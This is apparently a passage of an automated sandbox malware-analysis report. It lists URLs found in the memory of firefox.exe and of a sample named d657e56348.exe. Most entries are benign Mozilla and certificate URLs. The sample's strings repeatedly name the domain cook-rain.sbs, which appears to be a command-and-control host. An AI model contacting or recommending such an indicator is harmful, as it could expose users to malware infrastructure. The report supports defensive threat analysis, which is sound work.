Source: firefox.exe, 0000001B.00000002.2730082923.00000283C1EDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2753800184.00000283C4305000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2661683206.00000283C48A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2763904263.00000283C8D5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2722846466.00000283C1052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2722846466.00000283C10BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2730082923.00000283C1EE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2738119544.00000283C3303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2803278794.000002860003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2763904263.00000283C8D21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2729190362.00000283C1ACF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2592312398.00000283C1EE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2709781730.00000283C0978000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2753800184.00000283C4356000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2711933696.00000283C0C07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2766176950.00000283C8EE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2753800184.00000283C433F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2732727225.00000283C2230000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2766176950.00000283C8E06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2699319130.00000283BE303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: d657e56348.exe, 00000007.00000003.2485248682.0000000005887000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2604964446.0000000005DED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733701658.00000283C26BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: d657e56348.exe, 00000007.00000003.2485248682.0000000005887000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2604964446.0000000005DED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733701658.00000283C26BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001B.00000002.2685493089.00000283BCD7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%shttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://win.mai
Source: firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001B.00000002.2753800184.00000283C4356000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000001B.00000002.2753800184.00000283C4356000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001B.00000002.2685493089.00000283BCD7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001B.00000002.2685493089.00000283BCD7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateSERVICE_STILL_APPLYING_NO_EXIT_CODESILENT_UPDATE_NEEDED_ELEVAT
Source: firefox.exe, 0000001B.00000002.2796313930.00000283CB324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD126000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD1AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2726268325.00000283C1503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2736071227.00000283C3103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF065000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD19E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul.popup-notification-description
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD19E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD19E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulCan
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulObserver
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulPageActions:
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulbrowser.engagement.bookmarks_toolbar_bo
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/printPreviewPag
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD19E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://passwordmgr/locale/passwordmgr
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD19E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuldedupeLogins/shouldReplaceExisting:
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuloncommand=closebuttoncommand
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/UrlbarProviderAutof
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/UrlbarProviderPriva
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/addons/GMPProvid
Source: d657e56348.exe, 00000007.00000003.2485248682.0000000005887000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2604964446.0000000005DED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733701658.00000283C26BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: d657e56348.exe, 00000007.00000003.2485248682.0000000005887000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2604964446.0000000005DED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733701658.00000283C26BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2584605189.00000283C0C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: d657e56348.exe, 00000007.00000003.2444661438.0000000005878000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2444467662.000000000588F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2567002262.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566487201.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566807529.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001B.00000002.2753800184.00000283C4371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.canimbus:studies-enabled-changed
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001B.00000002.2740059264.00000283C3412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 0000001B.00000003.2666625549.00000283C3453000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2669033709.0000008697BD8000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2796313930.00000283CB324000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2735220140.00000283C30F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgupgradeTabsProgressListenerchrome://browser/skin/menu.svgtestPermissionFro
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2778488192.00000283C914E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000001B.00000002.2682655007.00000283BC743000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2809222794.0000308A79704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8FAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2763904263.00000283C8D2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8FAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001B.00000003.2666625549.00000283C3453000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2768561269.00000283C8F18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001B.00000002.2809222794.0000308A79704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: d657e56348.exe, 00000007.00000003.2487559197.0000000005867000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2615006788.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2682655007.00000283BC743000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2682655007.00000283BC7AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: d657e56348.exe, 00000009.00000003.2615006788.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2682655007.00000283BC743000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2682655007.00000283BC7AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000001B.00000002.2725301194.00000283C1321000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180unified-nav-back
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001B.00000002.2758063646.00000283C48F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001B.00000002.2758063646.00000283C48F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: d657e56348.exe, 00000007.00000003.2444661438.0000000005878000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2444467662.000000000588F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2567002262.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566487201.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566807529.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: d657e56348.exe, 00000007.00000003.2444661438.0000000005878000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2444467662.000000000588F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2567002262.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566487201.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566807529.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: d657e56348.exe, 00000007.00000003.2444661438.0000000005878000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2444467662.000000000588F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2567002262.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566487201.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566807529.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2584605189.00000283C0C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: d657e56348.exe, 00000007.00000003.2487559197.0000000005867000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2615006788.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2682655007.00000283BC7AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: d657e56348.exe, 00000009.00000003.2615006788.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2682655007.00000283BC743000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2682655007.00000283BC7AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001B.00000002.2763904263.00000283C8D8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8FAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8F92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: d657e56348.exe, 00000009.00000003.2808884939.00000000017F1000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2809214340.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: d657e56348.exe, 00000007.00000003.2505085965.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2505180197.00000000013AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/(
Source: d657e56348.exe, 00000007.00000003.2462717506.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2462648554.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2462430893.00000000013A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs//
Source: d657e56348.exe, 00000009.00000003.2603819813.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2605445848.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2586681222.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2587952497.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2615006788.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2587343154.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/13
Source: d657e56348.exe, 00000007.00000003.2462717506.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2462648554.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2462430893.00000000013A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/6
Source: d657e56348.exe, 00000007.00000003.2462717506.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2462648554.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2462430893.00000000013A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/=
Source: d657e56348.exe, 00000007.00000003.2462717506.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2505085965.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2462648554.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2505180197.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2462430893.00000000013A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/E
Source: d657e56348.exe, 00000007.00000003.2515402406.00000000013C2000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2505085965.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2505180197.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2515736921.00000000013CD000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2484763728.00000000013AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/I
Source: d657e56348.exe, 00000007.00000003.2505085965.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2505180197.00000000013AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/L
Source: d657e56348.exe, 00000007.00000003.2462717506.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2462648554.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2462430893.00000000013A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/S
